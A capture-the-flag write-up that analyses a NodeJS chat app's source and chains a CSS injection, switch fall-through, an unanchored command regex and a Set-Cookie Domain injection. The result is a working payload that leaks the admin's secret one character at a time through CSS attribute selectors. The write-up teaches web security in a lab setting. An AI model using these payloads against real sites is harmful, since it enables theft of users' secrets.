Challenge Description
Getting familiarized
When you open the link, it redirects you to a chat room with a random UUID which is probably the chat room ID.
This looks like a chat application built with NodeJS where anyone can join and chat with each other.
If you use /name bob
, your display name gets changed to that. If you type /report
, an admin will join the room for a few seconds. If anyone mentions dog in the chat while admin is in the room, they will get banned. They won’t be able to send or receive messages in the chat room after that. So much hate for dogs :(
Read the source, Luke!
From the initial challenge description, it seems obvious that we need to get the admin’s password. The application is JavaScript-heavy, so most of the interesting stuff is going to be in the source.
If you check the page source, you can see the following HTML comment:
<!--
Admin commands:
- `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.
- `/ban UserName` - Bans the user with UserName from the chat (requires the correct admin password to be set).
-->
/secret
command sets your password. Let’s try to set it using /secret random_password
. The chat shows this - “Successfully changed secret to *****”
If we hover over the asterisks, it displays the actual password. Checking the DOM using Inspect Element feature in Chrome, we can see that the password is stored in a data-secret
attribute:
<span data-secret=”random_password”>*****</span>
This will come in useful later. It also sets the cookie as flag=random_password
.
The /ban
command will ban the user if the user’s cookie matches the admin’s password — which means only admin can execute this action since we don’t know the admin’s password. Once a user is banned, his cookie will be set as banned=1; Path=/
, and they won’t be able to load the chat or send/receive messages anymore. Of course, they can just delete the cookie manually to regain access.
catchat.js
This is the client-side JavaScript that handles the sending and receiving of messages, defines admin’s helper functions, etc.
At the very beginning, we can see the following function defined:
let esc = (str) => str.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
As you can see it is filtering out both angled brackets and quotes. This means we can’t inject any HTML tags, or break out of the tag attribute context to inject any event handlers like onerror
etc.
// Sending messages
let send = (msg) => fetch(`send?name=${encodeURIComponent(localStorage.name)}&msg=${encodeURIComponent(msg)}`,
{credentials: 'include'}).then((res) => res.json()).then(handle);
let display = (line) => conversation.insertAdjacentHTML('beforeend', `<p>${line}</p>`);
let recaptcha_id = '6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu';
window.addEventListener('load', function() {
messagebox.addEventListener('keydown', function(event) {
if (event.keyCode == 13 && messagebox.value != '') {
if (messagebox.value == '/report') {
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
} else {
send(messagebox.value);
}
messagebox.value = '';
}
});
send('Hi all');
});
We can infer the following:
- To send a message, a GET request is made as follows:
send?name=<name>&msg=<message>
. - It generates and sends a recaptcha token along with the request when
/report
command is invoked. This is done most probably to avoid people disrupting the challenge server by bruteforcing etc. - In the other requests, the message content is sent directly to the server.
For receiving messages, we have the following code:
// Receiving messages
function handle(data) {
({
undefined(data) {},
error(data) { display(`Something went wrong :/ Check the console for error message.`); console.error(data); },
name(data) { display(`${esc(data.old)} is now known as ${esc(data.name)}`); },
rename(data) { localStorage.name = data.name; },
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },
msg(data) {
let you = (data.name == localStorage.name) ? ' (you)' : '';
if (!you && data.msg == 'Hi all') send('Hi');
display(`<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>`);
},
ban(data) {
if (data.name == localStorage.name) {
document.cookie = 'banned=1; Path=/';
sse.close();
display(`You have been banned and from now on won't be able to receive and send messages.`);
} else {
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
}
},
})[data.type](data);
}
This part is self-explanatory. These are the important bits:
secret
function sets the secret password to adata-secret
attribute in the DOM (we need to read it somehow) and displays the message with asterisks.ban
function, when invoked, sets thebanned=1; Path=/
cookie.- It also displays a message saying X was banned with the name in red color using inline CSS.
server.js
After some initial setup, there is this bit:
// Opening redirect and room index
app.get('/', (req, res) => res.redirect(`/room/${uuidv4()}/`));
let roomPath = '/room/:room([0-9a-f-]{36})';
app.get(roomPath + '/', function(req, res) {
res.sendFile(__dirname + '/static/index.html', {
headers: {
'Content-Security-Policy': [
'default-src \'self\'',
'style-src \'unsafe-inline\' \'self\'',
'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/',
'frame-src \'self\' https://www.google.com/recaptcha/',
].join('; ')
},
});
});
This part basically sets the the CSP (Content Security Policy):
- The
default-src
means that all the contents should come from the same site’s origin (excluding subdomains). - The
style-src
directive specifies valid sources for sources for stylesheets.unsafe-inline
means it allows inline CSS. This could be useful. - The
script-src
defines the valid JavaScript sources. In this case, it’s hardened to only allow recaptcha scripts. - The
frame-src
defines where frame sources for<iframe>
or<frame>
can be loaded from. It also looks secure.
Next we have the code that handles the processing of messages:
// Process incoming messages
app.all(roomPath + '/send', async function(req, res) {
let room = req.params.room, {msg, name} = req.query, response = {}, arg;
console.log(`${room} <-- (${name}):`, msg)
if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) {
response = {type: "error", error: 'CSRF protection error'};
} else if (msg[0] != '/') {
broadcast(room, {type: 'msg', name, msg});
} else {
switch (msg.match(/^\/[^ ]*/)[0]) {
case '/name':
if (!(arg = msg.match(/\/name (.+)/))) break;
response = {type: 'rename', name: arg[1]};
broadcast(room, {type: 'name', name: arg[1], old: name});
case '/ban':
if (!(arg = msg.match(/\/ban (.+)/))) break;
if (!req.admin) break;
broadcast(room, {type: 'ban', name: arg[1]});
case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
response = {type: 'secret'};
case '/report':
if (!(arg = msg.match(/\/report (.+)/))) break;
var ip = req.headers['x-forwarded-for'];
ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`);
}
}
console.log(`${room} --> (${name}):`, response)
res.json(response);
res.status(200);
res.end();
});
Here’s the breakdown:
- The first if condition checks if the referrer either doesn’t exist or doesn’t start with the given host (it uses some
||
hackery, but it’s JavaScript, I wouldn’t complain) and if it evaluates to false, it fails with an error. It will work as intended forReferer: https://example.com/foo
andReferer: http://evil.com/bar
. ButReferer: http://example.com.evil.com
will slip through, though. - If the command is
/name <newname>
, it will rename the user. - If the command is
/ban <user>
, it will check if the user is admin, and if so, bans the specified user.. - If the command is
/secret <password>
, it will set the user’s cookie as the specified password. Note that there’s no anchoring in the regex used, which means if the string/secret <password>
has to appear anywhere in the string, it will evaluate to true. The presence of^
and/or$
would have prevented that. - If the command is
/report
, it will get the X-Forwarded-For header and send it, maybe for recaptcha validator function.
The switch statement’s cases blocks are missing the break statements, so it will cause the remaining cases to be executed as well as opposed to stopping when any condition evaluates to true. This will allow us to inject multiple commands and both of them will get executed without any issues.
Finding the Injection Points
We now mostly understand what’s going on under the hood, we need to find the things that could be exploited. My attempts at finding an XSS in the application to leak the admin’s secret was fruitless because of the (almost) strict escape function. Same thing with Host Header Injection as well.
But this part in the ban function seemed exploitable:
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
The value in data.name
is injected directly into the attribute context ofspan[data-name^=${esc(data.name)}] { color: red; }
. Obviously if you try to inject payloads that contain any of <
, >
, '
, "
, it would fail. Even if we could find something to inject with, the page’s CSP would most likely kick in. But we can still inject a lot of valid CSS here. This means that we have a CSS injection vulnerability here.
This by itself is not very useful to us though because the attacks that allows us execute JavaScript in CSS works only in now-obsolete browsers. I assumed they’re using a recent version of Chrome headless. After digging around a bit, I came across this CureSec blog post that detailed how to exfiltrate data from a HTML page using only CSS.
So if we have something like this in our page source:
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
</form>
We can use the following CSS to extract the first character in the name
attribute:
#form2 input[value^='a'] {
background-image: url(http://localhost/log.php/a);
}
#form2 input[value^='b'] {
background-image: url(http://localhost/log.php/b);
}
#form2 input[value^='c'] {
background-image: url(http://localhost/log.php/c);
}
[...]
This acts like a series of if statements. ^=
means “begins with”. I wish it offered more control as an actual regex engine, but we’ll have to deal with this. This essentially means that if the input tag’s value begins with a
, it requests the URL specified in the background-image
property. The attacker can then inspect his server logs to see which URL got requested and thereby infer what the first character is. Here, trying to send the data off to an external URL would fail because of the CSP, but we can send a message to the chat room instead by sending a GET request to send?name=<name>&msg=<message>
.
That is great, but we don’t have any such attributes in the page DOM where we can leverage the CSS injection to exfiltrate data from. Or do we? Rewind a little…
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },
Yes, we do! When the user executes /secret <password>
, the secret gets stored in the data-attribute
of the <span>
tag. We need to extract the data-attribute when the admin sets it.
But the admin does not use the /secret
command. So we can name ourselves as /secret random_password
and get the admin to ban us by saying “dog” in the chat. Then the command/ban /secret random_password
will execute. Because of the fact that (a) switch statement we saw does not use breaks and (b) the regex does not use anchoring, the /secret random_password
also gets executed after the /ban
command gets executed.
Now we can get admin to execute /secret something
. But there’s a slight problem though. We want the admin’s current cookie (our flag) — if we set it using /secret abc
, the value in the span data attribute would also get changed. We don’t want that.
Let’s see how the cookie is set:
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
arg[i]
, i.e. the second parameter is what is being stored as the cookie and it has no escaping whatsoever, so we can inject arbitrary values as we please. After being stuck here for a while, I checked the docs for Set-Cookie, and it stated that you can also include a domain parameter in the cookie. If an invalid domain is specified, it won’t take effect. This is exactly what we needed to avoid overwriting the flag cookie.
Connecting the Dots
We have a CSS injection which we can use to exfiltrate the secret that is present in the span tag’s data attribute. Here’s how the payload will look like:
/name bob]
{
color:blue; background:url(send?name=admin&msg=/secret foo; Domain=foobar);
}
span[data-secret^=C]
{
background:url(send?name=admin&msg=C);
}
This closes the attribute context with bob]
and gets the admin to execute the /secret foo
command with the additional Domain
parameter so that our actual flag won’t get overwritten.
To get it working, we can do the following:
- Have two browser sessions open, one is for watching the retrieved characters, and the other one is for posting the payload.
- Post the payload in the first chat and name of that user gets changed to the payload.
- Type
/report
in the chat to get ourselves banned. This makes our payload get executed by the admin. - It will check if
data-secret
begins withC
, and if so, it sendsC
to the chat room. - Now repeat this process with other characters. And clear your banned cookie so that you can get banned again (did anyone think that getting banned would be so useful?!)
We already know that our flags is of the format CTF{example_flag}
. Now that we have a working CSS injection exploit with us, all that’s left to do is extract the flag character by character. Since flags could contain [A-Za-z0-9]
, it’s going to take us forever to do it manually. So let’s automate it:
This will give generate the payload character by character. Execute the script as python3 save_the_dogs.py C
and it’ll generate the payload to find the next character. Post it in the chat. Take the character that’s spit out in the chat (in this case, T
) and append it to the parameter: python3 save_the_dogs.py CT
. Repeat this process over for some time and we’ll get the flag as:
CTF{L0LC47S_43V3R}.
Thanks for reading. Hope you learned something.